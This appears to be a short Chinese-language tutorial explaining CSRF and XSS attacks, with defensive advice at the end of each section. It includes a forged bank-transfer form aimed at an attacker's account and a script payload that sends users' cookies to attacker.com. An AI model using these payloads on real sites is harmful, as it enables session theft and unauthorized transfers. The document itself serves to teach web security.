利用 CSRF 攻击网站的简单示例：

假设有一个在线银行应用，用户可以在其中执行转账操作。用户登录后，系统会生成一个包含转账信息的表单，用户需要填写表单来发起转账。这个表单如下所示：

<form action="https://bank.example.com/transfer" method="POST"><input type="hidden" name="toAccount" value="12345"><input type="hidden" name="amount" value="1000"><input type="submit" value="Transfer Funds">
</form>

攻击者创建一个精心设计的网站，其中包含一个自动提交的表单，如下所示：

<form action="https://bank.example.com/transfer" method="POST"><input type="hidden" name="toAccount" value="HackerAccount"><input type="hidden" name="amount" value="1000000"><input type="submit" value="See Cute Kittens">
</form>

这个表单是隐藏的，用户不会看到它，但攻击者将其放在一个看似吸引人的网页上，如“看可爱小猫”的网页。当用户访问这个网页并点击“See Cute Kittens”按钮时，他们实际上触发了一个对银行的转账请求，将1000000单位的资金从他们的账户转到攻击者控制的帐户 "HackerAccount"。

用户可能会认为他们只是在查看可爱的小猫图片，而事实上，他们已经执行了一个银行转账操作，而且他们的账户资金减少了。

这就是 CSRF 攻击的一个简单示例。攻击者诱使用户在不知情的情况下执行了对其账户的恶意操作，因为用户已经在银行网站上登录并且已经通过了身份验证。要防止这种类型的攻击，网站应该实施适当的CSRF 防护措施，如CSRF 令牌或同源策略。

如何利用跨站脚本攻击（Cross-Site Scripting，XSS）来攻击目标网站的简单示例。

假设有一个社交媒体网站，允许用户在自己的个人资料上发布评论。用户的评论将显示在其个人资料页面上。网站没有充分验证或转义用户评论的内容，因此存在XSS漏洞。

攻击者可以创建一个带有恶意脚本的评论，如下所示：

<script>// 恶意操作，如窃取用户的 Cookievar xhr = new XMLHttpRequest();xhr.open("GET", "https://attacker.com/steal.php?cookie=" + document.cookie, true);xhr.send();
</script>

攻击者将这个评论发布到他们的个人资料上。当其他用户访问攻击者的个人资料页面时，他们会加载并执行这段恶意 JavaScript 代码。这段代码将尝试窃取用户的 Cookie 数据并将其发送到攻击者控制的服务器。

当用户在这个网站上登录后，他们的 Cookie 包含了身份验证信息，攻击者可以使用这些信息冒充用户，执行各种操作，如发布帖子、更改用户信息或执行其他恶意操作。

这就是XSS攻击的一个简单示例，攻击者利用网站上的不安全评论功能，向用户注入恶意脚本，以获取用户的敏感信息。要防止XSS攻击，网站开发者应该实施适当的输入验证和输出转义，并使用内容安全策略（Content Security Policy）等安全措施来降低XSS的风险。